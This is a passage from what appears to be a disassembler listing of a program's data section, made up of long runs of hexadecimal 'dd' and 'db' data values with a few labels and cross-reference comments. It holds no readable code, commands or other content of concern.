0B501B85Ah, 17B81337h, 0EC304AB7h dd 0AB230028h, 86DF4E6Eh, 0BA39DEE4h, 9432CB8Dh, 29BC18C2h dd 0FEF83507h, 13D1B19Ch, 31706B02h, 3DD11D3Ah, 87088C09h dd 7407A9A1h, 0D8291741h, 2C61F6A1h, 0F569D480h, 0E7B37693h dd 4E0170B1h, 9698DA9Dh, 0C0EAB289h, 0A76CD840h, 0CACD0C04h dd 0CCC04752h, 3786032Bh, 200624h, 17C84C3Bh, 0D61F8CB2h dd 0F4661925h, 75EE8B80h, 7122F36Bh, 4FCB0051h, 0DC7B3ED9h dd 552CD2C0h, 0EB019C9Dh, 0A426DE6h, 9BA3987h, 2678FBDh dd 28D6B6ABh, 6346C418h, 3004C999h, 8A312F20h, 4F0B74EDh dd 0A257F6AFh, 25C18108h, 7A30CCE2h, 9DC7049h, 0C46196D2h dd 17DA0004h, 7F5FD6DBh, 0AC9CB31Eh, 62507C00h, 7FA57B8h dd 824B9C26h, 0DE0FB1EEh, 6AC42021h, 61CE2E17h, 33402800h dd 1C233995h, 0C6BA5BB4h, 89BEC864h, 24F37503h, 573DBE7h dd 93B04DB9h, 0DD4C20D0h, 43064786h, 77A0AEBAh, 16009E28h dd 0D6F8389Bh, 4979AE00h, 4722F1Dh, 420B2E9h, 0CE1E235Fh dd 674E239h, 7AC9D2C4h, 91B90A90h, 9FA89713h, 5DDA0B8Eh dd 7E247064h, 602CC875h, 0DC345802h, 20114039h, 0B53E3AD8h dd 6A7216h, 87E3CF8Ch, 770008E1h, 0ED4D89D2h, 3CAD50A8h dd 8502C238h, 9047A713h, 7ABE000Eh, 3F210178h, 811ACD1Ch dd 0AF404836h, 6E2C9566h, 99088C8Ch, 0D2889349h, 0B050753Ch dd 3863DD0Ah, 0CB87A413h, 3B146F9Bh, 0A1F334C0h, 5D7D0051h dd 0E0CDFA29h, 0A22C3E8Eh, 4F90A406h, 0B717D887h, 0C88D93D6h dd 3C669388h, 0E00D3900h, 514C7B4h, 6F6E273h, 47F55DE2h dd 5700A422h, 1CA434DBh, 0B09B3EB0h, 0CE0A0078h, 874AD3C8h dd 0E9074049h, 99DE4348h, 0A26CBBC0h, 1476004Fh, 2D92F47Fh dd 0CD037A93h, 3C501F6Bh, 0AFC4D0D7h, 35CA138Ch, 15E20136h dd 206C708Dh, 0DA0334ACh, 4DA6C337h, 0C41BA8ACh, 92AF3D23h dd 5219680h, 0FA9A0EB1h, 0C5011E00h, 3B7934C0h, 0EFAA3F36h dd 4023AF13h, 88CE9738h, 0AC50D21Bh, 130E6DC8h, 0AA031Fh dd 0B19FBCBFh, 18ACB0F3h, 783276D7h, 6A0725D8h, 234F8024h dd 3DC2EF10h, 77091F0Dh, 0E1D74087h, 5DE61E68h, 7513B0F8h dd 5C40AC88h, 5B714D5Fh, 0B16500BDh, 0AE49607Eh, 0F488568h dd 7FBB0054h, 0B4831879h, 60B8B6h, 540D5D0Ah, 86B1B73Ah dd 0BF1A5900h, 43CCF1E8h, 919700D8h, 0F204D242h, 9F1FBDA2h dd 8E005AEFh, 0D08836DEh, 0D62A00F5h, 59D1D413h, 249260ECh dd 0C570DB48h, 888035EDh, 7AC63773h, 0D1DD074Fh, 70B02944h dd 657948B8h, 0ED7CBCE0h, 8903E8B0h, 5141D637h, 1D980096h dd 0C2037A70h, 0AB0134FBh, 0DF4BF49Fh, 0E47056A2h, 0E758B76Dh dd 0C874D500h, 0C1D82F5Ch, 0E688908Bh, 81CD24D9h, 9A378060h dd 7D0DF622h, 4BAABF01h, 946DBDD5h, 179F70D4h, 7B48821h dd 0F0DFA4E0h, 0B6381EBh, 2E90D400h, 0CEF6EC02h, 4CB20FFFh dd 45875D51h, 0EEB91036h, 880040B6h, 0CDE0ABF8h, 0E26157Eh dd 57980FADh, 3844403Eh, 0E9495C2Bh, 8811AE00h, 0F78084C5h dd 585100CFh, 0D483A0DBh, 3401740Fh, 77D8B82Fh, 0A3D487CBh dd 8C540680h, 0D6E584EBh, 0FC6B1828h, 8F0032F4h, 4A4FF1Ah dd 0BC1C7390h, 0EE8E0034h, 66095D79h, 0B752F200h, 8C191D59h dd 2F927FD1h, 54274702h, 26EF307Fh, 7A2473E1h, 0C50458ABh dd 2CF0776Bh, 85F00A8h, 0E07CF367h, 0A226C738h, 600364Ah dd 0A148F090h, 619403BAh, 7F184011h, 304CDCA1h, 0CF0164DCh dd 4582F681h, 7D4141Ch, 0DF6E126Ah, 0C5D501D5h, 705195B9h dd 8E1B2BFCh, 0C2480E16h, 0C1126079h, 9C9E00DEh, 0EE2FB451h dd 6094952h, 181258Eh, 0B5CA9A7Ch, 73D0DFCh, 0B482C62Bh dd 27F960A1h, 6C77B115h, 61288C03h, 0D853804Fh, 1C9F824h dd 406D9A9Dh, 3BE71316h, 94C7AF0h, 4F108217h, 9A669481h dd 223860B5h, 707C9504h, 248044DFh, 26C73DDAh, 0BFC5FCCh dd 14004B59h, 0FA726815h, 0DF3CBD70h, 81FD3D57h, 558163F1h dd 9DECD8C5h, 31AE0735h, 0A3A19A23h, 0A28FB3D0h, 888048BEh dd 0EB4330F6h, 0CF91BB00h dd 6A7C0BC6h, 8C2C0960h, 0B00026C3h, 57E4E92Bh, 595B9D00h dd 0D0D312CDh, 90894A44h, 2FBBBFACh, 0AE6DF109h, 0CC505Ah dd 9CB92DD0h, 1531A647h, 821ABD3Ah, 3D121E7Bh, 84C08105h dd 2430BCC8h, 323E00C7h, 0AABED063h, 2200769Ah, 95DE207Fh dd 0B8E856ACh, 0BB58002Ch, 1C1E5D44h, 0F0503FD0h, 5FB0DCD0h dd 0D0805528h, 859A6A1Dh, 0FB0DDD40h, 76845296h, 0F7C90771h dd 703C80E4h, 5F30F85Dh, 8023503Dh, 6D99C7F4h, 103E6Ah dd 86B6E3E6h, 0E81D575Ah, 405122h, 90856A36h, 0ED5DACC1h dd 0BB0A1E00h, 6C07B7D5h, 0FF701213h, 91BC0188h, 0E4D10F99h dd 6071BC4h, 0DBD3849Eh, 3E21803Fh, 1481F9FEh, 0F068FA52h dd 0BD28D00h, 0FF8B8FD0h, 44438h, 5C60A188h, 2C2DABD3h dd 0E8F67Ch, 72D275CDh, 0AC78E831h, 0F0019F12h, 80C6DD09h dd 0B0C17CF0h, 3E930047h, 0DEFC3D9Dh, 1C006CF2h, 66D188EAh dd 4CD9C2EEh, 9F024876h, 0B4118116h, 0B05D7C60h, 92003190h dd 0E48A132h, 0BEF8FCh, 0F528568Bh, 0A9221729h, 9A944B02h dd 0FD6E834Eh, 0AC09EAE0h, 4DAAB83Dh, 889921C8h, 27001CA1h dd 2CA3A7E4h, 301EE45h, 5EF04FE3h, 681C1C8Bh, 0DA80327Bh dd 2AF6672Bh, 0CB7727Ah, 0EA91FE76h, 9D098059h, 0A06EE0ECh dd 35AD4AB0h, 0E120752h, 0D072AF96h, 0CBD010F7h, 3B7F4200h dd 0F976C239h, 1E88BAB1h, 8022B67Bh, 0D6EBBA2Ah, 6C24E572h dd 0A716A8C6h, 18C080D5h, 698A01Eh, 4069E70Fh, 0EC0C4002h dd 0FE59C3CDh, 80A260B9h, 0B4AF6FEDh, 650338B8h, 3169DA0h dd 42EB8871h, 6D8F0099h, 0B0533FE1h, 0EE001D65h, 2C73EC8Bh dd 136E93h, 0E2B2E6Bh, 796D821Fh, 0C747F40Eh, 0A1CE2202h dd 3D28606Eh, 7C0097D4h, 0A884B85Bh, 7B20100h, 93C7DE3Ah dd 0A590A0DAh, 44470073h, 0B9BBE718h, 33005D8Ch, 0A6D10430h dd 4A76A3h, 386C1B1Eh, 0CD324611h, 0A7BC8900h, 2133FF43h dd 0A97800BDh, 0ADE3094h, 913F1D8Dh, 23078053h, 0F4204CA0h dd 94C400F1h, 9E116568h, 707C8351h, 2DA75A00h, 0BEF31BCCh dd 7462048Eh, 0A00FDD23h, 0FC04385Ch, 1B200E9Bh, 6EAA0881h dd 926C7EF8h, 29E200h, 22B5E110h, 83267AC3h, 0BADB2339h dd 0F04280E3h, 7F019746h, 0DD861235h, 5814443Ch, 0B900A030h dd 0F01C4C16h, 517D2200h, 50A7C263h, 0B22DC09h, 96B327CAh dd 8E3BEC80h, 3718B5DDh, 0BA200172h, 48117EF5h, 83162C74h dd 8DF301E6h, 6CF21AA3h, 3182150h, 19CA2391h, 3A761000h dd 0FA164CDAh, 0C050F7Bh, 0E3475ED0h, 0D9F7903Bh, 4A079AECh dd 0D35D6176h, 0C7B73E50h, 16A209DCh, 5048F07Ah, 0AC00FD4Eh db 40h byte_504341 db 75h, 61h, 0FCh ; DATA XREF: ___:off_434D0Co aAT db '·íØtµ',0 dw 5801h db 0BDh, 4Ch, 7Ah byte_50434F db 0F2h ; DATA XREF: ___:off_434D08o dd 0C4B06754h, 53F65001h, 0C869C2DFh, 1EE037D4h, 0C0AECB3Fh dd 0CD213DB2h, 1600B62Ah, 0DCE11DFBh, 4C56954Fh, 0CE03F252h dd 43843FCBh, 0A4EAB398h, 0A7B63714h, 7C913BC3h, 0BAE0204h dd 0C4C07A97h, 98FEA0Dh, 75E28EEFh, 60F69401h, 582C31h dd 119A903Dh, 90D0F4Eh, 0BD54B595h, 1C39D980h, 3500FF50h dd 3B14F85Ch, 0FA51E9Dh, 65537FABh, 3E2CF322h, 0C440005Eh dd 0FE0B12A7h, 35F207E1h, 0C1779DBFh, 402DFA99h, 4FC358B0h dd 0E52FA9B8h, 0D1B88097h, 263564DCh, 77CB116h, 60F0BF6Ah dd 0CF38F82Ah, 43F74325h, 0CB36A8FCh, 0A01BFC11h, 29331E8h dd 0E8A1F09Eh, 8460A8A6h, 3409D38Fh, 82123F64h, 213A686Ch dd 2431B957h, 2703DA68h, 0CB74CAEh, 424800A9h, 4836608Eh dd 751201F7h, 48C2F292h, 0D5BB6021h, 62330483h, 0C08E4656h dd 0B54A53C0h, 0ACDD20h, 7EF6EB99h, 3F61FC4Fh, 0AFE29D00h dd 0F3E9785h, 9EF700E5h, 455436Dh, 6839A5DAh, 4F9507C3h dd 50B0189Fh, 0C0944175h, 19DBD7E8h, 5D09D5D8h, 0A0A30452h dd 0B00F4D80h, 1E3C0098h, 358C6077h, 92498E94h, 0DCFA018Ch dd 0E57B5FDDh, 0CC396831h, 0C085EF80h, 0F09968BDh, 28809E93h dd 2678EA26h, 80C8FC54h, 375BEDF0h, 0DC0E3CDFh, 0A09C3F97h dd 0E95AC29Ah, 1C4D007Bh, 5B82FD98h, 0A1C0CCDEh, 2AA49358h dd 90310086h, 0EDD298Ah, 4C0098FAh, 0B51E6D80h, 5EE09C6h dd 0F092F294h, 54CA05Bh, 0AC7988h, 0B27EA297h, 53E7509Fh dd 0BA58E200h, 76BFD76h, 7DEB3970h, 16DB909Ch, 91CC80D8h dd 0E4A017C2h, 5B007F2Ch, 0C5360A63h, 4FA22AFCh, 0C840098h dd 7E9B0FB2h, 0BB84253Ah, 341E5BF4h, 0DDFA6EC0h, 71E688h dd 9CD937D2h, 13510C98h, 0C75B82FEh, 0FC00545Ch, 0F360A66Eh dd 0BCA448F9h, 84FF4528h, 7FD606ACh, 0D9B5F572h, 16AA6F00h dd 0F2770CB6h, 70A8C319h, 0D39061C3h, 501DD908h, 494058FDh dd 941D2262h, 8C9000D1h, 6C9CC914h, 95005240h, 1C67B11Eh dd 2369D27h, 0C1B248D6h, 2660F769h, 1E3A770Ah, 0E281007Bh dd 3970CD1Dh, 0E3BEE48h, 0FA69E0B2h, 90D0E387h, 5AAB5818h dd 8ACB861Ch, 0E5280FC0h, 1846AE2h, 0E6CD4446h, 0D429A0A2h dd 0E1009E3Dh, 631FC74Eh, 1B7F94h, 5C165D72h, 37FD79FBh dd 3606C12Eh, 199C0Bh, 0D3E8B71Dh, 7FE42784h, 4591B482h dd 9D803662h, 81CEB5Bh, 0C348B925h, 0C8DDD020h, 3E090F79h dd 9F40DA2Ah, 0F9CB3B8Ah, 2797E600h, 86F74759h, 55A403B7h dd 0B8AACDD2h, 74503DF2h, 0C0A27C09h, 0EBA02069h, 3A334588h dd 3F0CA8EEh, 0ED18D018h, 2C7CB07Ch, 9CA36114h, 135818h dd 0A0915E26h, 0E881607Dh, 0DF8F0E71h, 0B76304D6h, 43E0E505h dd 2B0179D7h, 584598F0h, 0E1AC8029h, 0C0901FECh, 961EC27Fh dd 0DB0045C8h, 0DF650BBDh, 629EFE5h, 691D6849h, 72026062h dd 0E2FD4660h, 5A7068DBh, 0A8800026h, 0ACD888E3h, 0CC0A890Bh dd 346AB7AAh, 0DBE1FF03h, 0FE0C6EBh, 0D428DF4Eh, 0F98D409Eh dd 501234EDh, 2483480Fh, 3D5C809Ch, 0E94638h, 9B05CE7Eh dd 0B1F10640h, 0F0B30E0Eh, 0CB4960B8h, 7D176C9h, 0BD1ED0D7h dd 0E4810DFh, 3DFE85ADh, 71A24A00h, 0BC962BB8h, 83D40089h dd 0E3E45377h, 183D5023h, 376E9EDAh, 67443D00h, 3AC208CFh dd 4100D23Bh, 5D29E2BEh, 4507DEE7h, 718BE54Ch, 0E8DC9B40h dd 0D4121CC5h, 0FA530028h, 0A56906E2h, 0D64CCA00h, 0D505DB8Fh dd 0C5EA007Ch, 9C52B3DFh, 6D009D26h, 29884F37h, 2AA276Ch dd 0A63D1934h, 0A8A0E509h, 23E0CF54h, 6A63B51Fh, 8C41AC5Fh dd 884D9439h, 6D41A410h, 0FBE4351Dh, 47CEF1Ch, 306586C2h dd 4ED62C90h, 35760078h, 874734A6h, 557912E9h, 0DA03BEFEh dd 0C12B5919h, 7300386h, 956D3FECh, 0FDCA6007h, 0D4F13B08h dd 998EEA0Ah, 70A0802Fh, 0EE048B63h, 1A829A1Fh, 0F20FA6C0h dd 95BB410h, 6FC04007h, 0E18E5023h, 0CBF7E3A8h, 0B44EB200h dd 0EAC2A351h, 55190D5Ah, 0ECD1814Dh, 0FE0302E6h, 3FCDA212h dd 0D0C2A1D5h, 30F3A7D4h, 0F029874Dh, 5C0069A8h, 97D8CCE3h dd 1AF504h, 33E867E6h, 0C8A1956Ch, 40054906h, 78972BFh dd 394CF475h, 746890AAh, 0B1716359h, 285465ECh, 0CD7D7D98h dd 262FBE00h, 0DC0FFFC4h, 0A848FBB5h, 98320F83h, 87E00746h dd 3B28A885h, 0CA6AFB0Fh, 30EA60CBh, 0D09FFBEh, 530173D9h dd 50DDE139h, 0D6C83DA0h, 0BB9B6106h, 3E212C65h, 0A9805D73h dd 0B60434BCh, 0BF0C1FD2h, 39F90AD6h, 0B857C33h, 9EA1787Dh dd 17ED6700h, 0F703C090h, 4F618255h, 64D69865h, 95EEA7Bh dd 693CA6A0h, 1D2A2780h, 8AF2FE04h, 0F7CD1B00h, 31D270DCh dd 963E1CE7h, 0C7564E0Ch, 0E3A09A03h, 5D892900h, 7E7D57CEh dd 0B69B01F1h, 0FF2ACFF6h, 7A2083FDh, 0F892E631h, 3A37AF02h dd 1E001A05h, 71A6CAEEh, 0AB752206h, 8D0E42B8h, 8CC69F97h dd 3F86088Fh, 0CC39449Eh, 6030D737h, 3EDEA992h, 52299A07h dd 0E80041Fh, 3AAEEFDBh, 8E011EC4h, 99655DCEh, 861080C5h dd 0B65CEBEAh, 891F0341h, 7EA18F31h, 84C0AEDAh, 7300E504h dd 1B9368D6h, 377466ADh, 20E07A0Ch, 1F8B9045h, 0E0D011DBh dd 3E85CBDh, 0EF88F3C6h, 0DCA0FD0Bh, 807AAB12h, 8AF0091Fh dd 81FA0F0Fh, 7DEE159Bh, 7EF118E9h, 33CBCEE0h, 8D10DF7Fh dd 4BAAE0F0h, 203F27Bh, 0DAB38444h, 0FE07D886h, 0C6A7007Fh dd 1AE989EDh, 0EF787DECh, 0EB8FFD03h, 0C18CFA16h, 74D3F9E6h dd 0A98D1F30h, 871D09h, 0DC82DEC6h, 3A1CF614h, 3C1415F3h dd 0EB049164h, 0D4730CBEh, 0C85108Bh, 1E72F67Bh, 0D2003B21h dd 0BFA3E369h, 0CC9C8ECAh, 5B213609h, 40369F6h, 0B69931C9h dd 149BC877h, 0C23400A0h, 2C05226Ah, 5A0335FCh, 38A8B3AEh dd 0B81876BEh, 285CB054h, 6044272Bh, 0ABED5929h, 220003FCh dd 0D0A33F0Dh, 3B9ED6FBh, 0F03274Eh, 92869028h, 0DB1038C9h dd 99A682F8h, 0D9F19F33h, 2E1C0E4h, 9A11C07Eh, 47A4E05h dd 1FAF230Ch, 0C38F81FBh, 4DFDC121h, 3FA786F8h, 6083DC33h dd 0C49F81A8h, 718B1000h, 0AA6320h, 0DDE8C67Ah, 3EFF2FD9h dd 0CF277E0Eh, 21BA8C3Fh, 0DDE001ECh, 0AC183035h, 1A50819Ch dd 6C8B115Bh, 8E32448h, 0D72FD4DDh, 0E740C1C4h, 4DA9DDDBh dd 4596FB00h, 0A498BBAFh, 4C8C2843h, 0A01538ACh, 7218D720h dd 0B540CEE0h, 0A852540Fh, 665E47Bh, 34171E62h, 77FD0ABh dd 2631A002h, 997B226Eh, 0C019DC9Ch, 410754Eh, 8EC8AEFBh dd 4DF8BC80h, 0E02BAC6Bh, 0EA90C136h, 26F77B84h, 69D30224h dd 31C7A3E4h, 0CB5C1033h, 3DE50069h, 44AED78Bh, 8C62080Fh dd 48B58FA8h, 381AF410h, 11E08ECCh, 13E75AAh, 9F6F141Dh dd 9E5F0BC7h, 21A2B6h, 503E6DCCh, 20D6E6D0h, 48B8141Eh dd 79C294E8h, 0A0A8321Bh, 4F102DB4h, 928900FBh, 811C3A26h dd 0E3E1301Ah, 10358806h, 3B20FAC9h, 8A9E9B85h, 588911Ah dd 81B44829h, 0EE1BF403h, 79B005AEh, 133343Ch, 0CCD80D8Ch dd 7B809FBBh, 0FB839885h, 0A0A5BC23h, 0D0AE5CB0h, 0DB23C420h dd 744DFF01h, 9518F304h, 76F7BB88h, 6FAB034Dh, 96A891DAh dd 0C018A4F8h, 5EA0BC62h, 44B4448Bh, 15007E26h, 0B2CF68FFh dd 14D644B9h, 0A81640C7h, 0A47FCE0Eh, 48B3E805h, 0A5809DC4h dd 3B9F49AAh, 0B8AB0089h, 64F004D5h, 0B2021FE7h, 3846630Ah dd 8FACA3E3h, 9739009Ah dd 0B6F7F814h, 910018CFh, 15E1AEDEh, 1B8D06Ah, 9E3EFEA9h dd 83210DB5h, 842F44A1h, 0C8009BBh, 0D8100438h, 4000CEA7h dd 7FC19D1Fh, 810A24h, 924DBDB9h, 6928B2B6h, 88966CECh dd 0F7723F03h, 0F8CBC1DAh, 0D78A0887h, 821B8E4h, 99FED500h dd 0C0B9634Ch, 0AD4D83C1h, 0C80750DFh, 3B162B46h, 455DE1BFh dd 4BEC7872h, 2FD30A75h, 11DC3F8Fh, 4E0380DFh, 43130478h dd 799422AFh, 434D00BFh, 0E9B5DADDh, 14121397h, 544198B0h dd 4ED82BA3h, 4C5BF424h, 6D2344F2h, 0D5DDE401h, 0BF18DF2Fh dd 0FDCE888h, 0E04099DDh, 9A3836A0h, 81C17C9Eh, 0D1482A76h dd 61E26C25h, 131060C8h, 0C8600CD8h, 5B27DA88h, 810D01BEh dd 204F9AE2h, 0A887F6ECh, 9FD86A73h, 2F910569h, 29A81F80h dd 159A00E4h, 79C512A3h, 12280158h, 0E83ACA7Fh, 0FC01A523h dd 65E341EEh, 847ECE4h, 7FA59A07h, 170EE09Fh, 912FC6F5h dd 0A8151539h, 0DB14A8BCh, 587B9031h, 9D24232Fh, 8A6B03D8h dd 310C932Eh, 517DA399h, 14070ADAh, 11BC9E1Fh, 0DDE5806Eh dd 99E72FD6h, 0FEE9C7DCh, 0D963720h, 0F50110B0h, 2B847D01h dd 0EA001C14h, 8D7F3980h, 5438A409h, 18CCA0AAh, 50F2FFA0h dd 0F031BC6Dh, 0A89DFD88h, 0ECA1C02Ah, 40304B19h, 188F9832h dd 0F160771Eh, 9D7DFC7Bh, 16E0EA98h, 0B9D8A014h, 33CB007Ch dd 0A5EAE773h, 716C6038h, 0DCEC41B5h, 0CD102F12h, 0D3130447h dd 9154177Bh, 380A80BCh, 0A88104C2h, 153ECA0h, 90C40F3Ah dd 91F38B16h, 95907258h, 72FDA05h, 0C32C483Fh, 0DDE1ED80h dd 3356BDh, 0D0285EB0h, 0EB19346Eh, 0A9340250h, 0F259B100h dd 0E50C52C1h, 1A340C65h, 0F3E0D48Dh, 5129DC06h, 510DA37h dd 282B7CE1h, 0EBC4012Dh, 0FAA6E5B0h, 0FE0FDC4Ch, 0E804734Dh dd 0F6BA58AEh, 0B6024D00h, 4608D9F0h, 970B0DF1h, 0F4B9CA9Fh dd 8B30A299h, 2B7B10A7h, 704560ACh, 8FCD6B1Ah, 7389B49h dd 11174F47h, 31C0296h, 8EE852DAh, 26B18DB6h, 0BB48309Ah dd 0E42988h, 0E16C037Fh, 274ABD1Eh, 80758D3Ch, 0EA74F5ECh dd 0E088FB15h, 11D091E3h, 0FCEF002Bh, 8407C4F6h, 0F30B781Fh dd 20A88FCh, 2A7531D8h, 9C448FABh, 0DB143002h, 6070EA3Eh dd 222A1A8Ch, 0B518AF05h, 7B591D13h, 4CAC92DCh, 4FC3F8A2h dd 599050CBh, 48004971h, 0D1A9409h, 282DBFFBh, 88909A37h dd 0C3B263A8h, 0D3579559h, 93C6DDB8h, 1E032702h, 6106CBBAh dd 8911815Ch, 68622Ah, 36DCE53Bh, 9BD11AF5h, 3E843F28h dd 62971406h, 72D120A7h, 5D75F43Eh, 22138800h, 0E19AC18Ah dd 3D8D4403h, 59845300h, 0AE817EA3h, 0A1550014h, 0C23FE44Bh dd 27F74679h, 870C38D8h, 9A47A9E2h, 8A084470h, 6932E4EBh dd 98187995h, 282806FDh, 3009FFE8h, 22934418h, 0E0CAEEE8h dd 40982F84h, 18389EB4h, 10ABAED8h, 460E044h, 0D9E7794Eh dd 88900CAFh, 4D01FCC0h, 9A7C3D79h, 198699AAh, 999F8EDAh dd 5AFC100h, 0A9C5A240h, 0C98707D8h, 0A039AAEDh, 0D51232DFh dd 0E4018270h, 8307DC7Ah, 5472E5C8h, 3D308FF2h, 0EB07090Eh dd 0FB0FD66Ah, 0F0DC4Ah, 27D876D2h, 84A0A7C8h, 2215FC7Ch dd 2983FAFh, 942D892Bh, 0DB08511Ch, 0ADB860B4h, 288A247Bh dd 0F90B4074h, 31022587h, 0DC2C032Bh, 0AA0C6937h, 64121872h dd 155040B1h, 34ADF4AFh, 92DCB804h, 9C922C48h, 0BF322099h dd 9524D01Eh, 5300150Ch, 3DB74ADh, 30D45D60h, 5844CA2Eh dd 0B4907BEAh, 187810D4h, 0B132D9EBh, 0E44B062h, 65E170ECh dd 26BE5A0Fh, 6404032Bh, 0B0032238h, 8120E0Ah, 0CEF82C16h dd 7D060B30h, 0AE64D403h, 5EE2C12Fh, 0BF890164h, 0F4AB04C6h dd 0F84A7B85h, 69D4D830h, 0CFA323E5h, 5D0E3411h, 2EA069CCh dd 57FBF698h, 61B46330h, 7EC26E79h, 2DB21C6Ah, 0A578C2E2h dd 944CA336h, 0A4328912h, 202F8822h, 74C10512h, 3ABA2500h dd 22167E68h, 9EA50071h, 0B0D426E7h, 1A1C3DCBh, 4170904Bh dd 2C966388h, 89849E6Dh, 2C9104AEh, 36FADC4Ah, 5DBE900h dd 0A41E06A3h, 4B300023h, 11252DECh, 48B36B8Bh, 89DDE20Bh dd 16448BE8h, 0DAE61FA8h, 117580DDh, 0CA5F78Eh, 0A67B1513h dd 28894801h, 502222B7h, 740ECB23h, 6714043Eh, 0CBC058B2h dd 0FFE93E6Ch, 62127303h, 2487A19Ah, 605889C9h, 0B64CA8B3h dd 73090498h, 0C2744834h, 11E41D88h, 462892Fh, 0E5303288h dd 6B0A472Ch, 0C31891Dh, 0C8D01307h, 5328A04Bh, 0A3F79C80h dd 9A2104B8h, 0D692012Ah, 7498D6CCh, 2C17B525h, 33BB1104h dd 7B08D375h, 0E1DAFFC1h, 135863DCh, 0F432A199h, 0CCE11229h dd 9D5110AEh, 0BB081CBFh, 0A750EC48h, 0A9006037h, 193A38B3h dd 9CE224F7h, 11E048A0h, 3E7880CFh, 94871404h, 70CF5850h dd 8B363E00h, 62468756h, 303F050Ch, 1986C20h, 0B5DBABD0h dd 781080Eh, 0D2F19706h, 888089CEh, 0BA490CDBh, 60654302h dd 61D1748Fh, 683CE544h, 8C90B8h, 0EB4584C5h, 189DFC80h dd 7506E707h, 2B00A7ECh, 0B882FDD7h, 54904FFCh, 9522AC50h dd 8F426A00h, 0D053723Dh, 0D86D25D7h, 14C5A8A9h, 0BA6090E4h dd 0EB047F80h, 0A2E830A5h, 0C01640A0h, 0DB7C8A71h, 6830202Fh dd 0DC109094h, 8098B1F6h, 0A730313Eh, 5C980351h, 0E04E0896h dd 7327B3D0h, 32760F85h, 7167D2D6h, 0DD35F063h, 0A73AFAA4h dd 28330994h, 82988F31h, 48ACFD2Ah, 3047CF28h, 0A8789AD0h dd 0A54F7438h, 0C070FC48h, 2FD8DDE7h, 0BD22F746h, 0DDDFEB01h dd 656A64F1h, 9C9B7E93h, 0CE0163BCh, 0B6E52BC8h, 0A9F83BB5h dd 0D81309E7h, 0B001CBECh, 700CA327h, 2894CE5Ch, 30525C64h dd 0E265FDB8h, 0EBE9231Fh, 4DCA8300h, 4B4CB90h, 6CD6ADAh dd 6B78F473h, 30577001h, 0E8E1B30Dh, 129AE464h, 0D38FDA4Ch dd 1FF12880h, 0BFEED498h, 4502748h, 74EBBD91h, 92F274E3h dd 36302C31h, 55500E7h, 8347AEEBh, 3D503443h, 2911DAC8h dd 0C50B306h, 92A8821h, 4029F9DFh, 3A1897D9h, 0C974B700h dd 0BBA834ABh, 1233EA4Fh, 0C0C79F10h, 0F5777A7Ch, 0A1792CB9h dd 46AC6019h, 0C069500h, 88EB08EDh, 2BA3165Dh, 280C468h dd 0A4D017D0h, 0CEA92C40h, 6A23F0Fh, 0C5384514h, 0B563FC06h dd 0FAF6E9h, 0D8AEBCB1h, 0EBD76E86h, 0DCE08101h, 0B0647BF2h dd 852C2980h, 0CDC1BB23h, 99A9080Fh, 0C08B3636h, 6AC03288h dd 28237E2h, 590819E9h, 6CD0FE0Ah, 89FACD10h, 0BDB0EF00h dd 6F5C08DBh, 0AE5EA81Fh, 53D10144h, 277B588Ah, 0B822CA29h dd 0E617F6h, 8E777913h, 0E521B44Fh, 0B0A2315Ah, 1B3B9F01h dd 0D081558Fh, 0AD0072D7h, 78903966h, 16B605h, 0E4BEA2CDh dd 4E5C31C4h, 65DA3A00h, 1567ADC7h, 91053AE8h, 0AF80F13Fh dd 0D66EBF0h, 0EE61F35Ch, 0F6BB4F10h, 0FE6E9BF0h, 491800DEh dd 424E761Ch, 6A7E5DDAh, 0ED827B02h, 0D4167872h, 19B137Dh dd 55E568D8h, 793A204Ah, 8F6CFE0Bh, 0EA94461Ah, 84E98019h dd 307948B1h, 0DBD73019h, 24283109h, 8148807Ch, 0B6E68FCh dd 15B5DC6Ch, 67B94C8h, 44882C12h, 0B8133002h, 0DB0CE95Ch dd 0CF64420h, 728EE6F2h, 4941CC28h, 5814C021h, 0C2F2F4B2h dd 0DE1330h, 0D3623421h, 30271CA7h, 81F84827h, 115BEC54h dd 0C2F29C32h, 0AB7530h, 0E8F5B481h, 903F6B95h, 0E0040B9h dd 0A9BDEFF1h, 2C030C42h, 8DD041ACh, 0C148A01Bh db 0F8h byte_505345 db 0E0h, 3Ch, 50h ; DATA XREF: ___:off_444640o ; ___:off_444648o ... dd 0B418DE4Ah, 0C4208739h, 14A240A8h, 0C0D0B4A0h, 0F19C1030h dd 0B8B6E5C7h, 82E0D6h, 0B8728535h, 8803E31Ch, 48A521C0h dd 831278h, 6A62ECFAh, 6140AC60h, 38505F90h, 0BD45FC4Ch dd 409EB068h, 0E66005CFh, 2B1378FAh, 7A0FC11Dh, 0FEEEA134h dd 2470E46Bh, 2FF60E49h, 5BEBEC52h, 68A06381h, 7DD881BAh dd 5A1FE82Bh, 0D0264478h, 3E79C068h, 8F461405h, 71D08872h dd 141C3E02h, 0ABCA8CB8h, 0E45CC594h, 5AF760BEh, 54CC3838h dd 0CA23ACCCh, 0FF3E7303h, 44804713h, 3E6BCA05h, 0D47C85C9h dd 58D88308h, 0B82CD94Eh, 90738831h, 2F499663h, 0F7480A3h dd 7CD3007Dh, 0F691096Bh, 1496A899h, 0C5318989h, 33A801D0h dd 2C9EC635h, 0E7A42E94h, 4E9CC83Bh, 0DB57843h, 1331041Ch dd 0F474070Bh, 7100BEB8h, 996A04EBh, 0E7AEDAh, 2996AF5Ah dd 6D069B2Bh, 3C40EC9Eh, 48C14180h, 8B007D85h, 572A21B3h dd 0C8EE68E3h, 52A9360Eh, 7BE900C7h, 0B0DCF6CBh, 1B80C8F0h dd 0AAB2A8Fh, 0B42E0810h, 0AD021BBEh, 29381C69h, 0BE316ABh dd 400236E8h, 700D2F4h, 98670F2Ch, 0D88B13ECh, 8438C4A8h dd 9C0E3D8h, 0C1F05C03h, 0DC428D94h, 244060CAh, 600381D4h dd 0D4B037F0h, 102DD46h, 304764Eh, 0BD0014E7h, 73A24DF9h dd 0E3AD1DAAh, 0D27492DBh, 8CC05758h, 0D100A3CBh, 702A7567h dd 0B077AFh, 0F4FF8251h, 7C40ABF5h, 0E42C410Ch, 708AA021h dd 0BDB2CE2h, 7A693068h, 7CBC106Dh, 9C30614Dh, 0D5048CF9h dd 0D7A3E669h, 5E203162h, 483F69CDh, 1210ECEAh, 0AD068427h dd 3865CF4Fh, 8E0B097h, 0F9070B9h, 2C18A481h, 0F007891h dd 8583DD84h, 0B8619B99h, 1501202Ch, 0D20468A0h, 91C80C8Ah dd 0AB4238C0h, 10A40C57h, 0F078A354h, 0DC7896h, 6880FD17h dd 0B5A11EDAh, 129A9F26h, 7A637132h, 